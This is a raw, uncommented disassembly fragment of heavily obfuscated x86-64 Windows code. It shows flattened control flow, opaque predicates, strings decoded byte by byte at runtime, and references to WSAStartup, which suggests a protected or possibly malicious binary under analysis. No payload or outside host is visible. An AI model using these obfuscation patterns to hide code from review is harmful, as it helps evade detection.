cmp byte [rsp + 0x48], 0
mov ebx, 0xc7d2152d
cmovne ebx, r12d
test al, al
cmovne ebx, r12d
jmp 0x1800256e0
cmp ebx, 0xc7d2152d
je 0x18002575a
cmp ebx, 0x5fd70ca3
je 0x180025764
cmp ebx, 0x6dfa097a
jne 0x1800256e0
mov qword [rsp + 0xd0], r15
mov ebx, edi
jmp 0x1800256e0
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov ebx, 0xa94e0ffe
jmp 0x1800256e0
mov ebx, 0x6dfa097a
jmp 0x1800256e0
mov ebx, 0xac711a38
jmp 0x1800256e0
movsx eax, byte [rsp + 0x24]
xor eax, 0x6c
mov dword [rsp + 0x38], eax
mov ebx, 0x5c67ca94
jmp 0x1800256b0
mov eax, dword [rsp + 0x38]
mov byte [rbp + 4], al
add rbp, 5
mov rax, qword [rsp + 0x30]
add rax, 0xd
mov qword [rsp + 0x90], rax
mov ecx, 0xd35b191d
jmp 0x180024d80
mov eax, dword [rsp + 0x90]
mov byte [rsp + 0x60], al
mov ecx, 0xf9b0050d
nop word [rax + rax]
cmp ecx, 0xf9b0050c
jg 0x180025800
cmp ecx, 0xa17ad67b
je 0x18002628a
cmp ecx, 0xd35b191d
jne 0x1800257c0
mov byte [r8], 0
add r8, 1
cmp r8, qword [rsp + 0x90]
mov ecx, 0xd35b191d
mov eax, 0xa17ad67b
cmove ecx, eax
jmp 0x1800257c0
cmp ecx, 0x36ac4e6
je 0x180025924
cmp ecx, 0xf9b0050d
jne 0x1800257c0
mov rcx, qword [rsp + 0x28]
mov dl, byte [rsp + 0x60]
mov byte [rcx], dl
mov rcx, qword [rsp + 0x28]
mov ebp, dword [0x1801299a0]
mov edx, dword [0x1801299a4]
lea ebx, [rbp - 1]
imul ebx, ebp
test bl, 1
mov esi, 0xc7d2152d
cmove esi, r13d
cmp edx, 0xa
cmovl esi, r13d
mov edi, 0xafb3877
nop
cmp edi, 0x5c67ca94
je 0x180025a36
cmp edi, 0xafb3877
jne 0x180025850
test bl, 1
sete byte [rsp + 0x4c]
cmp edx, 0xa
setl byte [rsp + 0x48]
mov edi, 0xbaede16c
nop dword [rax]
cmp edi, 0xc7d2152c
jg 0x1800258c0
cmp edi, 0xa94e0ffe
je 0x18002590e
cmp edi, 0xac711a38
je 0x1800258e4
cmp edi, 0xbaede16c
jne 0x180025880
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov edi, 0xc7d2152d
cmovne edi, r12d
test al, al
cmovne edi, r12d
jmp 0x180025880
cmp edi, 0xc7d2152d
je 0x1800258fa
cmp edi, 0x5fd70ca3
je 0x180025904
cmp edi, 0x6dfa097a
jne 0x180025880
mov qword [rsp + 0xd0], r15
mov edi, esi
jmp 0x180025880
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov edi, 0xa94e0ffe
jmp 0x180025880
mov edi, 0x6dfa097a
jmp 0x180025880
mov edi, 0xac711a38
jmp 0x180025880
movsx eax, byte [rsp + 0x24]
xor eax, 0x6e
mov dword [rsp + 0x38], eax
mov edi, 0x5c67ca94
jmp 0x180025850
mov rax, qword [rsp + 0x50]
mov r8b, byte [rax]
mov ebp, dword [0x1801299a0]
mov ecx, dword [0x1801299a4]
lea edx, [rbp - 1]
imul edx, ebp
test dl, 1
mov edi, 0xc7d2152d
cmove edi, r13d
cmp ecx, 0xa
cmovl edi, r13d
mov ebx, 0xafb3877
nop word cs:[rax + rax]
cmp ebx, 0x5c67ca94
je 0x180025b44
cmp ebx, 0xafb3877
jne 0x180025960
test dl, 1
sete byte [rsp + 0x4c]
cmp ecx, 0xa
setl byte [rsp + 0x48]
mov ebx, 0xbaede16c
nop dword [rax]
cmp ebx, 0xc7d2152c
jg 0x1800259d0
cmp ebx, 0xa94e0ffe
je 0x180025a1e
cmp ebx, 0xac711a38
je 0x1800259f4
cmp ebx, 0xbaede16c
jne 0x180025990
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov ebx, 0xc7d2152d
cmovne ebx, r12d
test al, al
cmovne ebx, r12d
jmp 0x180025990
cmp ebx, 0xc7d2152d
je 0x180025a0a
cmp ebx, 0x5fd70ca3
je 0x180025a14
cmp ebx, 0x6dfa097a
jne 0x180025990
mov qword [rsp + 0xd0], r15
mov ebx, edi
jmp 0x180025990
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov ebx, 0xa94e0ffe
jmp 0x180025990
mov ebx, 0x6dfa097a
jmp 0x180025990
mov ebx, 0xac711a38
jmp 0x180025990
mov al, byte [rsp + 0x24]
xor al, r8b
movsx eax, al
mov dword [rsp + 0x38], eax
mov ebx, 0x5c67ca94
jmp 0x180025960
mov eax, dword [rsp + 0x38]
mov byte [rcx + 1], al
mov eax, dword [0x1801299a0]
mov edx, dword [0x1801299a4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov esi, 0xc7d2152d
cmove esi, r13d
cmp edx, 0xa
cmovl esi, r13d
mov edi, 0xafb3877
nop word [rax + rax]
cmp edi, 0x5c67ca94
je 0x180025c54
cmp edi, 0xafb3877
jne 0x180025a70
test bl, 1
sete byte [rsp + 0x4c]
cmp edx, 0xa
setl byte [rsp + 0x48]
mov edi, 0xbaede16c
nop dword [rax]
cmp edi, 0xc7d2152c
jg 0x180025ae0
cmp edi, 0xa94e0ffe
je 0x180025b2e
cmp edi, 0xac711a38
je 0x180025b04
cmp edi, 0xbaede16c
jne 0x180025aa0
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov edi, 0xc7d2152d
cmovne edi, r12d
test al, al
cmovne edi, r12d
jmp 0x180025aa0
cmp edi, 0xc7d2152d
je 0x180025b1a
cmp edi, 0x5fd70ca3
je 0x180025b24
cmp edi, 0x6dfa097a
jne 0x180025aa0
mov qword [rsp + 0xd0], r15
mov edi, esi
jmp 0x180025aa0
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov edi, 0xa94e0ffe
jmp 0x180025aa0
mov edi, 0x6dfa097a
jmp 0x180025aa0
mov edi, 0xac711a38
jmp 0x180025aa0
movsx eax, byte [rsp + 0x24]
xor eax, 0x69
mov dword [rsp + 0x38], eax
mov edi, 0x5c67ca94
jmp 0x180025a70
mov eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov byte [rcx], al
mov r8, qword [rsp + 0x40]
mov eax, dword [0x1801299a0]
mov ecx, dword [0x1801299a4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0xc7d2152d
cmove edi, r13d
cmp ecx, 0xa
cmovl edi, r13d
mov ebx, 0xafb3877
nop
cmp ebx, 0x5c67ca94
je 0x180025d64
cmp ebx, 0xafb3877
jne 0x180025b80
test dl, 1
sete byte [rsp + 0x4c]
cmp ecx, 0xa
setl byte [rsp + 0x48]
mov ebx, 0xbaede16c
nop dword [rax]
cmp ebx, 0xc7d2152c
jg 0x180025bf0
cmp ebx, 0xa94e0ffe
je 0x180025c3e
cmp ebx, 0xac711a38
je 0x180025c14
cmp ebx, 0xbaede16c
jne 0x180025bb0
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov ebx, 0xc7d2152d
cmovne ebx, r12d
test al, al
cmovne ebx, r12d
jmp 0x180025bb0
cmp ebx, 0xc7d2152d
je 0x180025c2a
cmp ebx, 0x5fd70ca3
je 0x180025c34
cmp ebx, 0x6dfa097a
jne 0x180025bb0
mov qword [rsp + 0xd0], r15
mov ebx, edi
jmp 0x180025bb0
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov ebx, 0xa94e0ffe
jmp 0x180025bb0
mov ebx, 0x6dfa097a
jmp 0x180025bb0
mov ebx, 0xac711a38
jmp 0x180025bb0
movsx eax, byte [rsp + 0x24]
xor eax, 0x2e
mov dword [rsp + 0x38], eax
mov ebx, 0x5c67ca94
jmp 0x180025b80
mov eax, dword [rsp + 0x38]
mov byte [rcx + 2], al
mov eax, dword [0x1801299a0]
mov edx, dword [0x1801299a4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov esi, 0xc7d2152d
cmove esi, r13d
cmp edx, 0xa
cmovl esi, r13d
mov edi, 0xafb3877
nop word cs:[rax + rax]
nop
cmp edi, 0x5c67ca94
je 0x180025e74
cmp edi, 0xafb3877
jne 0x180025c90
test bl, 1
sete byte [rsp + 0x4c]
cmp edx, 0xa
setl byte [rsp + 0x48]
mov edi, 0xbaede16c
nop dword [rax]
cmp edi, 0xc7d2152c
jg 0x180025d00
cmp edi, 0xa94e0ffe
je 0x180025d4e
cmp edi, 0xac711a38
je 0x180025d24
cmp edi, 0xbaede16c
jne 0x180025cc0
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov edi, 0xc7d2152d
cmovne edi, r12d
test al, al
cmovne edi, r12d
jmp 0x180025cc0
cmp edi, 0xc7d2152d
je 0x180025d3a
cmp edi, 0x5fd70ca3
je 0x180025d44
cmp edi, 0x6dfa097a
jne 0x180025cc0
mov qword [rsp + 0xd0], r15
mov edi, esi
jmp 0x180025cc0
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov edi, 0xa94e0ffe
jmp 0x180025cc0
mov edi, 0x6dfa097a
jmp 0x180025cc0
mov edi, 0xac711a38
jmp 0x180025cc0
movsx eax, byte [rsp + 0x24]
xor eax, 0x6e
mov dword [rsp + 0x38], eax
mov edi, 0x5c67ca94
jmp 0x180025c90
mov eax, dword [rsp + 0x38]
mov byte [r8 + 1], al
mov eax, dword [0x1801299a0]
mov ecx, dword [0x1801299a4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0xc7d2152d
cmove edi, r13d
cmp ecx, 0xa
cmovl edi, r13d
mov ebx, 0xafb3877
nop word cs:[rax + rax]
cmp ebx, 0x5c67ca94
je 0x180025f84
cmp ebx, 0xafb3877
jne 0x180025da0
test dl, 1
sete byte [rsp + 0x4c]
cmp ecx, 0xa
setl byte [rsp + 0x48]
mov ebx, 0xbaede16c
nop dword [rax]
cmp ebx, 0xc7d2152c
jg 0x180025e10
cmp ebx, 0xa94e0ffe
je 0x180025e5e
cmp ebx, 0xac711a38
je 0x180025e34
cmp ebx, 0xbaede16c
jne 0x180025dd0
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov ebx, 0xc7d2152d
cmovne ebx, r12d
test al, al
cmovne ebx, r12d
jmp 0x180025dd0
cmp ebx, 0xc7d2152d
je 0x180025e4a
cmp ebx, 0x5fd70ca3
je 0x180025e54
cmp ebx, 0x6dfa097a
jne 0x180025dd0
mov qword [rsp + 0xd0], r15
mov ebx, edi
jmp 0x180025dd0
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov ebx, 0xa94e0ffe
jmp 0x180025dd0
mov ebx, 0x6dfa097a
jmp 0x180025dd0
mov ebx, 0xac711a38
jmp 0x180025dd0
movsx eax, byte [rsp + 0x24]
xor eax, 0x64
mov dword [rsp + 0x38], eax
mov ebx, 0x5c67ca94
jmp 0x180025da0
mov eax, dword [rsp + 0x38]
mov byte [rcx + 3], al
mov eax, dword [0x1801299a0]
mov edx, dword [0x1801299a4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov esi, 0xc7d2152d
cmove esi, r13d
cmp edx, 0xa
cmovl esi, r13d
mov edi, 0xafb3877
nop word cs:[rax + rax]
nop
cmp edi, 0x5c67ca94
je 0x180026094
cmp edi, 0xafb3877
jne 0x180025eb0
test bl, 1
sete byte [rsp + 0x4c]
cmp edx, 0xa
setl byte [rsp + 0x48]
mov edi, 0xbaede16c
nop dword [rax]
cmp edi, 0xc7d2152c
jg 0x180025f20
cmp edi, 0xa94e0ffe
je 0x180025f6e
cmp edi, 0xac711a38
je 0x180025f44
cmp edi, 0xbaede16c
jne 0x180025ee0
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov edi, 0xc7d2152d
cmovne edi, r12d
test al, al
cmovne edi, r12d
jmp 0x180025ee0
cmp edi, 0xc7d2152d
je 0x180025f5a
cmp edi, 0x5fd70ca3
je 0x180025f64
cmp edi, 0x6dfa097a
jne 0x180025ee0
mov qword [rsp + 0xd0], r15
mov edi, esi
jmp 0x180025ee0
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov edi, 0xa94e0ffe
jmp 0x180025ee0
mov edi, 0x6dfa097a
jmp 0x180025ee0
mov edi, 0xac711a38
jmp 0x180025ee0
movsx eax, byte [rsp + 0x24]
xor eax, 0x65
mov dword [rsp + 0x38], eax
mov edi, 0x5c67ca94
jmp 0x180025eb0
mov eax, dword [rsp + 0x38]
mov byte [r8 + 2], al
mov eax, dword [0x1801299a0]
mov ecx, dword [0x1801299a4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0xc7d2152d
cmove edi, r13d
cmp ecx, 0xa
cmovl edi, r13d
mov ebx, 0xafb3877
nop word cs:[rax + rax]
cmp ebx, 0x5c67ca94
je 0x1800260ba
cmp ebx, 0xafb3877
jne 0x180025fc0
test dl, 1
sete byte [rsp + 0x4c]
cmp ecx, 0xa
setl byte [rsp + 0x48]
mov ebx, 0xbaede16c
nop dword [rax]
cmp ebx, 0xc7d2152c
jg 0x180026030
cmp ebx, 0xa94e0ffe
je 0x18002607e
cmp ebx, 0xac711a38
je 0x180026054
cmp ebx, 0xbaede16c
jne 0x180025ff0
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov ebx, 0xc7d2152d
cmovne ebx, r12d
test al, al
cmovne ebx, r12d
jmp 0x180025ff0
cmp ebx, 0xc7d2152d
je 0x18002606a
cmp ebx, 0x5fd70ca3
je 0x180026074
cmp ebx, 0x6dfa097a
jne 0x180025ff0
mov qword [rsp + 0xd0], r15
mov ebx, edi
jmp 0x180025ff0
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov ebx, 0xa94e0ffe
jmp 0x180025ff0
mov ebx, 0x6dfa097a
jmp 0x180025ff0
mov ebx, 0xac711a38
jmp 0x180025ff0
movsx eax, byte [rsp + 0x24]
xor eax, 0x6c
mov dword [rsp + 0x38], eax
mov ebx, 0x5c67ca94
jmp 0x180025fc0
mov eax, dword [rsp + 0x38]
mov byte [rcx + 4], al
add rcx, 5
mov qword [rsp + 0x40], rcx
lea rax, [0x18011f9c0]
mov qword [rsp + 0x50], rax
mov ecx, 0x36ac4e6
jmp 0x1800257c0
mov eax, dword [rsp + 0x38]
mov byte [r8 + 3], al
mov eax, dword [0x1801299a0]
mov ecx, dword [0x1801299a4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0xc7d2152d
cmove edi, r13d
cmp ecx, 0xa
cmovl edi, r13d
mov ebx, 0xafb3877
nop dword [rax]
cmp ebx, 0x5c67ca94
je 0x1800261c4
cmp ebx, 0xafb3877
jne 0x1800260f0
test dl, 1
sete byte [rsp + 0x4c]
cmp ecx, 0xa
setl byte [rsp + 0x48]
mov ebx, 0xbaede16c
nop dword [rax]
cmp ebx, 0xc7d2152c
jg 0x180026160
cmp ebx, 0xa94e0ffe
je 0x1800261ae
cmp ebx, 0xac711a38
je 0x180026184
cmp ebx, 0xbaede16c
jne 0x180026120
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov ebx, 0xc7d2152d
cmovne ebx, r12d
test al, al
cmovne ebx, r12d
jmp 0x180026120
cmp ebx, 0xc7d2152d
je 0x18002619a
cmp ebx, 0x5fd70ca3
je 0x1800261a4
cmp ebx, 0x6dfa097a
jne 0x180026120
mov qword [rsp + 0xd0], r15
mov ebx, edi
jmp 0x180026120
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov ebx, 0xa94e0ffe
jmp 0x180026120
mov ebx, 0x6dfa097a
jmp 0x180026120
mov ebx, 0xac711a38
jmp 0x180026120
movsx eax, byte [rsp + 0x24]
xor eax, 0x6c
mov dword [rsp + 0x38], eax
mov ebx, 0x5c67ca94
jmp 0x1800260f0
mov eax, dword [rsp + 0x38]
mov byte [r8 + 4], al
add r8, 5
mov rax, qword [rsp + 0x30]
add rax, 0xd
mov qword [rsp + 0x90], rax
mov ecx, 0xd35b191d
jmp 0x1800257c0
mov rcx, r15
call fcn.18002bfb0
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call rdx
mov rax, qword [rsp + 0x70]
mov rax, qword [rsp + 0x68]
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov dword [rsp + 0x90], 0x4c
mov ecx, 0x30c61536
nop
cmp ecx, 0x9676bf67
je 0x18002631a
cmp ecx, 0x30c61536
jne 0x180026230
mov eax, 0xf49a1f4d
nop dword [rax]
cmp eax, 0xf49a1f4d
je 0x180026260
cmp eax, 0x7836757f
jne 0x180026250
jmp 0x180026267
mov eax, 0x7836757f
jmp 0x180026250
mov dword [rsp + 0xd0], 8
mov eax, dword [rsp + 0xd0]
movsx eax, al
add eax, dword [rsp + 0x90]
mov ecx, 0x9676bf67
jmp 0x180026230
mov rcx, r15
call fcn.18002bfb0
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call rdx
mov rax, qword [rsp + 0x70]
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x90], 0x4c
mov ecx, 0x30c61536
nop word cs:[rax + rax]
cmp ecx, 0x9676bf67
je 0x18002639a
cmp ecx, 0x30c61536
jne 0x1800262c0
mov eax, 0xf49a1f4d
nop dword [rax]
cmp eax, 0xf49a1f4d
je 0x1800262f0
cmp eax, 0x7836757f
jne 0x1800262e0
jmp 0x1800262f7
mov eax, 0x7836757f
jmp 0x1800262e0
mov dword [rsp + 0xd0], 8
mov eax, dword [rsp + 0xd0]
movsx eax, al
add eax, dword [rsp + 0x90]
mov ecx, 0x9676bf67
jmp 0x1800262c0
mov dword [rsp + 0xd0], eax
mov eax, dword [rsp + 0xd0]
mov byte [rsp + 0xc0], al
mov dword [rsp + 0x90], WSAStartup
mov ecx, 0x30c61536
nop
cmp ecx, 0x9676bf67
je 0x18002641a
cmp ecx, 0x30c61536
jne 0x180026340
mov eax, 0xf49a1f4d
nop dword [rax]
cmp eax, 0xf49a1f4d
je 0x180026370
cmp eax, 0x7836757f
jne 0x180026360
jmp 0x180026377
mov eax, 0x7836757f
jmp 0x180026360
mov dword [rsp + 0xd0], 8
mov eax, dword [rsp + 0xd0]
movsx eax, al
add eax, dword [rsp + 0x90]
mov ecx, 0x9676bf67
jmp 0x180026340
mov dword [rsp + 0xd0], eax
mov eax, dword [rsp + 0xd0]
mov byte [rsp + 0xc0], al
mov dword [rsp + 0x90], WSAStartup
mov ecx, 0x30c61536
nop
cmp ecx, 0x9676bf67
je 0x1800266cd
cmp ecx, 0x30c61536
jne 0x1800263c0
mov eax, 0xf49a1f4d
nop dword [rax]
cmp eax, 0xf49a1f4d
je 0x1800263f0
cmp eax, 0x7836757f
jne 0x1800263e0
jmp 0x1800263f7
mov eax, 0x7836757f
jmp 0x1800263e0
mov dword [rsp + 0xd0], 8
mov eax, dword [rsp + 0xd0]
movsx eax, al
add eax, dword [rsp + 0x90]
mov ecx, 0x9676bf67
jmp 0x1800263c0
mov dword [rsp + 0xd0], eax
mov eax, dword [rsp + 0xd0]
mov byte [rsp + 0xc1], al
lea rax, [rsp + 0xc2]
mov qword [rsp + 0x50], rax
lea rax, [0x18011fb0c]
mov qword [rsp + 0x90], rax
mov eax, 0x2d8872ab
cmp eax, 0xcca9a4a5
je 0x18002698d
cmp eax, 0x2d8872ab
jne 0x180026450
mov rax, qword [rsp + 0x90]
movsx eax, byte [rax]
mov dword [rsp + 0x28], eax
mov ecx, 0x30c61536
nop word cs:[rax + rax]
cmp ecx, 0x9676bf67
je 0x1800264d1
cmp ecx, 0x30c61536
jne 0x180026480
mov eax, 0xf49a1f4d
nop word cs:[rax + rax]
nop
cmp eax, 0xf49a1f4d
je 0x1800264b0
cmp eax, 0x7836757f
jne 0x1800264a0
jmp 0x1800264b7
mov eax, 0x7836757f
jmp 0x1800264a0
mov dword [rsp + 0x40], 8
mov eax, dword [rsp + 0x40]
movsx eax, al
add eax, dword [rsp + 0x28]
mov ecx, 0x9676bf67
jmp 0x180026480
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov byte [rcx], al
mov rax, qword [rsp + 0x50]
mov dword [rsp + 0x28], 0x64
mov edx, 0x30c61536
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x9676bf67
je 0x180026553
cmp edx, 0x30c61536
jne 0x180026500
mov ecx, 0xf49a1f4d
nop word cs:[rax + rax]
nop
cmp ecx, 0xf49a1f4d
je 0x180026532
cmp ecx, 0x7836757f
jne 0x180026520
jmp 0x180026539
mov ecx, 0x7836757f
jmp 0x180026520
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x180026500
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 1], cl
mov dword [rsp + 0x28], 0x4c
mov edx, 0x30c61536
nop dword [rax + rax]
cmp edx, 0x9676bf67
je 0x1800265c3
cmp edx, 0x30c61536
jne 0x180026570
mov ecx, 0xf49a1f4d
nop word cs:[rax + rax]
nop
cmp ecx, 0xf49a1f4d
je 0x1800265a2
cmp ecx, 0x7836757f
jne 0x180026590
jmp 0x1800265a9
mov ecx, 0x7836757f
jmp 0x180026590
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x180026570
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 2], cl
mov dword [rsp + 0x28], 0x69
mov edx, 0x30c61536
nop dword [rax + rax]
cmp edx, 0x9676bf67
je 0x180026633
cmp edx, 0x30c61536
jne 0x1800265e0
mov ecx, 0xf49a1f4d
nop word cs:[rax + rax]
nop
cmp ecx, 0xf49a1f4d
je 0x180026612
cmp ecx, 0x7836757f
jne 0x180026600
jmp 0x180026619
mov ecx, 0x7836757f
jmp 0x180026600
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x1800265e0
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 3], cl
add rax, 4
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0x28], 0x62
mov ecx, 0x30c61536
nop word [rax + rax]
cmp ecx, 0x9676bf67
je 0x1800266b1
cmp ecx, 0x30c61536
jne 0x180026660
mov eax, 0xf49a1f4d
nop word cs:[rax + rax]
nop
cmp eax, 0xf49a1f4d
je 0x180026690
cmp eax, 0x7836757f
jne 0x180026680
jmp 0x180026697
mov eax, 0x7836757f
jmp 0x180026680
mov dword [rsp + 0x40], 8
mov eax, dword [rsp + 0x40]
movsx eax, al
add eax, dword [rsp + 0x28]
mov ecx, 0x9676bf67
jmp 0x180026660
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0xd0]
mov byte [rcx], al
mov eax, 0xcca9a4a5
jmp 0x180026450
mov dword [rsp + 0xd0], eax
mov eax, dword [rsp + 0xd0]
mov byte [rsp + 0xc1], al
lea rax, [rsp + 0xc2]
mov qword [rsp + 0x50], rax
lea rax, [0x18011fb0c]
mov qword [rsp + 0x90], rax
mov eax, 0x2d8872ab
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xcca9a4a5
je 0x180026a03
cmp eax, 0x2d8872ab
jne 0x180026710
mov rax, qword [rsp + 0x90]
movsx eax, byte [rax]
mov dword [rsp + 0x28], eax
mov ecx, 0x30c61536
nop word cs:[rax + rax]
cmp ecx, 0x9676bf67
je 0x180026791
cmp ecx, 0x30c61536
jne 0x180026740
mov eax, 0xf49a1f4d
nop word cs:[rax + rax]
nop
cmp eax, 0xf49a1f4d
je 0x180026770
cmp eax, 0x7836757f
jne 0x180026760
jmp 0x180026777
mov eax, 0x7836757f
jmp 0x180026760
mov dword [rsp + 0x40], 8
mov eax, dword [rsp + 0x40]
movsx eax, al
add eax, dword [rsp + 0x28]
mov ecx, 0x9676bf67
jmp 0x180026740
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov byte [rcx], al
mov rax, qword [rsp + 0x50]
mov dword [rsp + 0x28], 0x64
mov edx, 0x30c61536
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x9676bf67
je 0x180026813
cmp edx, 0x30c61536
jne 0x1800267c0
mov ecx, 0xf49a1f4d
nop word cs:[rax + rax]
nop
cmp ecx, 0xf49a1f4d
je 0x1800267f2
cmp ecx, 0x7836757f
jne 0x1800267e0
jmp 0x1800267f9
mov ecx, 0x7836757f
jmp 0x1800267e0
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x1800267c0
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 1], cl
mov dword [rsp + 0x28], 0x4c
mov edx, 0x30c61536
nop dword [rax + rax]
cmp edx, 0x9676bf67
je 0x180026883
cmp edx, 0x30c61536
jne 0x180026830
mov ecx, 0xf49a1f4d
nop word cs:[rax + rax]
nop
cmp ecx, 0xf49a1f4d
je 0x180026862
cmp ecx, 0x7836757f
jne 0x180026850
jmp 0x180026869
mov ecx, 0x7836757f
jmp 0x180026850
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x180026830
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 2], cl
mov dword [rsp + 0x28], 0x69
mov edx, 0x30c61536
nop dword [rax + rax]
cmp edx, 0x9676bf67
je 0x1800268f3
cmp edx, 0x30c61536
jne 0x1800268a0
mov ecx, 0xf49a1f4d
nop word cs:[rax + rax]
nop
cmp ecx, 0xf49a1f4d
je 0x1800268d2
cmp ecx, 0x7836757f
jne 0x1800268c0
jmp 0x1800268d9
mov ecx, 0x7836757f
jmp 0x1800268c0
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x1800268a0
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 3], cl
add rax, 4
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0x28], 0x62
mov ecx, 0x30c61536
nop word [rax + rax]
cmp ecx, 0x9676bf67
je 0x180026971
cmp ecx, 0x30c61536
jne 0x180026920
mov eax, 0xf49a1f4d
nop word cs:[rax + rax]
nop
cmp eax, 0xf49a1f4d
je 0x180026950
cmp eax, 0x7836757f
jne 0x180026940
jmp 0x180026957
mov eax, 0x7836757f
jmp 0x180026940
mov dword [rsp + 0x40], 8
mov eax, dword [rsp + 0x40]
movsx eax, al
add eax, dword [rsp + 0x28]
mov ecx, 0x9676bf67
jmp 0x180026920
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0xd0]
mov byte [rcx], al
mov eax, 0xcca9a4a5
jmp 0x180026710
mov rax, qword [rsp + 0xd0]
mov dword [rsp + 0x28], WSAStartup
mov edx, 0x30c61536
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x9676bf67
je 0x180026a73
cmp edx, 0x30c61536
jne 0x1800269b0
mov ecx, 0xf49a1f4d
nop dword [rax]
cmp ecx, 0xf49a1f4d
je 0x1800269e2
cmp ecx, 0x7836757f
jne 0x1800269d0
jmp 0x1800269e9
mov ecx, 0x7836757f
jmp 0x1800269d0
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x1800269b0
mov rax, qword [rsp + 0xd0]
mov dword [rsp + 0x28], WSAStartup
mov edx, 0x30c61536
nop dword [rax + rax]
cmp edx, 0x9676bf67
je 0x180026ae3
cmp edx, 0x30c61536
jne 0x180026a20
mov ecx, 0xf49a1f4d
nop dword [rax]
cmp ecx, 0xf49a1f4d
je 0x180026a52
cmp ecx, 0x7836757f
jne 0x180026a40
jmp 0x180026a59
mov ecx, 0x7836757f
jmp 0x180026a40
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x180026a20
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 1], cl
mov dword [rsp + 0x28], 0x61
mov edx, 0x30c61536
nop dword [rax + rax]
cmp edx, 0x9676bf67
je 0x180026b53
cmp edx, 0x30c61536
jne 0x180026a90
mov ecx, 0xf49a1f4d
nop dword [rax]
cmp ecx, 0xf49a1f4d
je 0x180026ac2
cmp ecx, 0x7836757f
jne 0x180026ab0
jmp 0x180026ac9
mov ecx, 0x7836757f
jmp 0x180026ab0
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
